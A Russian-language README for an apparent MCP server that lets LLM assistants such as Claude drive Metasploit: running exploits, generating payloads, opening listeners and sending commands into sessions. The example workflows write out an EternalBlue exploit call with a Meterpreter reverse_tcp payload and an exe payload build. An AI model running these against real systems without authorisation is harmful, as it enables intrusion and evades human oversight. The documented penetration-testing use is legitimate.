Metasploit MCP Server

Сервер Model Context Protocol (MCP) для интеграции с Metasploit Framework.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Описание

Этот MCP-сервер предоставляет мост между большими языковыми моделями, такими как Claude, и платформой тестирования на проникновение Metasploit Framework. Он позволяет AI-ассистентам динамически получать доступ к возможностям Metasploit и управлять ими через стандартизированные инструменты, обеспечивая интерфейс на естественном языке для сложных рабочих процессов тестирования безопасности.

Возможности

Информация о модулях

• list_exploits: Поиск и вывод списка доступных эксплойт-модулей Metasploit
• list_payloads: Поиск и вывод списка доступных payload-модулей Metasploit с опциональной фильтрацией по платформе и архитектуре

Рабочий процесс эксплуатации

• run_exploit: Настройка и выполнение эксплойта против цели с опцией предварительного запуска проверок
• run_auxiliary_module: Запуск любого вспомогательного модуля Metasploit с пользовательскими параметрами
• run_post_module: Выполнение пост-эксплуатационных модулей в существующих сессиях

Генерация payload

• generate_payload: Генерация payload-файлов с помощью Metasploit RPC (сохраняет файлы локально)

Управление сессиями

• list_active_sessions: Отображение текущих сессий Metasploit с подробной информацией
• send_session_command: Выполнение команды в активной сессии shell или Meterpreter
• terminate_session: Принудительное завершение активной сессии

Управление обработчиками

• list_listeners: Отображение всех активных обработчиков и фоновых задач
• start_listener: Создание нового multi/handler для приёма входящих подключений
• stop_job: Завершение любой запущенной задачи или обработчика

Предварительные требования

• Установленный Metasploit Framework и запущенный msfrpcd
• Python 3.10 или выше
• Требуемые пакеты Python (см. requirements.txt)

Установка

1. Склонируйте этот репозиторий
2. Установите зависимости:
   root@kitploit:~

   pip install -r requirements.txt
   

3. Настройте переменные окружения (необязательно):
   root@kitploit:~

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
   

Использование

Запустите службу Metasploit RPC:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Варианты транспорта

Сервер поддерживает два метода транспорта:

• HTTP/SSE (Server-Sent Events): Режим по умолчанию для совместимости с большинством MCP-клиентов
• STDIO (Standard Input/Output): Используется с Claude Desktop и аналогичными прямыми pipe-подключениями

Вы можете явно выбрать режим транспорта с помощью флага --transport:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Дополнительные параметры для HTTP-режима:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Интеграция с Claude Desktop

Для интеграции с Claude Desktop настройте claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Другие MCP-клиенты

Для других MCP-клиентов, использующих HTTP/SSE:

1. Запустите сервер в HTTP-режиме:

   root@kitploit:~

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
   

2. Настройте ваш MCP-клиент для подключения к:

   • SSE-эндпоинт: http://your-server-ip:8085/sse

Вопросы безопасности

⚠️ ВАЖНОЕ ПРЕДУПРЕЖДЕНИЕ ПО БЕЗОПАСНОСТИ:

Этот инструмент предоставляет прямой доступ к возможностям Metasploit Framework, включающим мощные функции эксплуатации. Используйте его ответственно и только в средах, где у вас есть явное разрешение на проведение тестирования безопасности.

• Всегда проверяйте и просматривайте все команды перед выполнением
• Запускайте только в изолированных тестовых средах или при наличии соответствующих разрешений
• Имейте в виду, что пост-эксплуатационные команды могут привести к значительным изменениям в системе

Примеры рабочих процессов

Базовая эксплуатация

1. Вывести список доступных эксплойтов: list_exploits("ms17_010")
2. Выбрать и запустить эксплойт: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. Вывести список сессий: list_active_sessions()
4. Выполнить команды: send_session_command(1, "whoami")

Пост-эксплуатация

1. Запустить пост-эксплуатационный модуль: run_post_module("windows/gather/enum_logged_on_users", 1)
2. Отправить пользовательские команды: send_session_command(1, "sysinfo")
3. Завершить по окончании: terminate_session(1)

Управление обработчиками

1. Запустить listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. Вывести список активных обработчиков: list_listeners()
3. Сгенерировать payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. Остановить обработчик: stop_job(1)

Тестирование

Этот проект включает комплексные модульные и интеграционные тесты для обеспечения надёжности и поддерживаемости.

Предварительные требования для тестирования

Установите зависимости для тестирования:

pip install -r requirements-test.txt

Или воспользуйтесь удобным установщиком:

python run_tests.py --install-deps
# OR
make install-deps

Запуск тестов

Быстрые команды

# Run all tests
python run_tests.py --all
# OR
make test

# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage

# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html

Конкретные наборы тестов

# Unit tests only
python run_tests.py --unit
# OR
make test-unit

# Integration tests only  
python run_tests.py --integration
# OR
make test-integration

# Options parsing tests
python run_tests.py --options
# OR
make test-options

# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers

# MCP tools tests
python run_tests.py --tools
# OR
make test-tools

Параметры тестов

# Include slow tests
python run_tests.py --all --slow

# Include network tests (requires actual network)
python run_tests.py --all --network

# Verbose output
python run_tests.py --all --verbose

# Quick test (no coverage, fail fast)
make quick-test

# Debug mode (detailed failure info)
make test-debug

Структура тестов

• tests/test_options_parsing.py: Модульные тесты для проверки корректности разбора параметров
• tests/test_helpers.py: Модульные тесты для внутренних вспомогательных функций и управления MSF-клиентом
• tests/test_tools_integration.py: Интеграционные тесты для всех MCP-инструментов с мокированным бэкендом Metasploit
• conftest.py: Общие тестовые фикстуры и конфигурация
• pytest.ini: Конфигурация pytest с настройками покрытия

Возможности тестирования

• Комплексное мокирование: Все зависимости Metasploit имитируются (mock), поэтому тесты запускаются без необходимости установки реального MSF
• Поддержка асинхронности: Полная поддержка тестирования async/await с помощью pytest-asyncio
• Отчёты о покрытии: Детальный анализ покрытия с HTML-отчётами
• Параметризованные тесты: Эффективное тестирование множества сценариев ввода
• Управление фикстурами: Переиспользуемые тестовые фикстуры для типовых сценариев настройки

Отчёты о покрытии

После запуска тестов с покрытием отчёты доступны в:

• Терминал: Сводка покрытия отображается после запуска тестов
• HTML: htmlcov/index.html (при использовании параметра --html)

Интеграция с CI/CD

Для непрерывной интеграции:

# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose

Параметры конфигурации

Каталог для сохранения payload

По умолчанию payload-файлы, созданные с помощью generate_payload, сохраняются в каталог payloads в вашей домашней папке (~/payloads или C:\Users\YourUsername\payloads). Вы можете изменить это расположение, задав переменную окружения PAYLOAD_SAVE_DIR.

Установка переменной окружения:

• Windows (PowerShell):

  root@kitploit:~

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows (Command Prompt):

  root@kitploit:~

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS:

  root@kitploit:~

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• В конфигурации Claude Desktop:

  root@kitploit:~

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
  }
  

Примечание: Если вы указываете пользовательский путь, убедитесь, что он существует или у приложения есть разрешение на его создание. Если путь недействителен, генерация payload может завершиться ошибкой.

Лицензия

Apache 2.0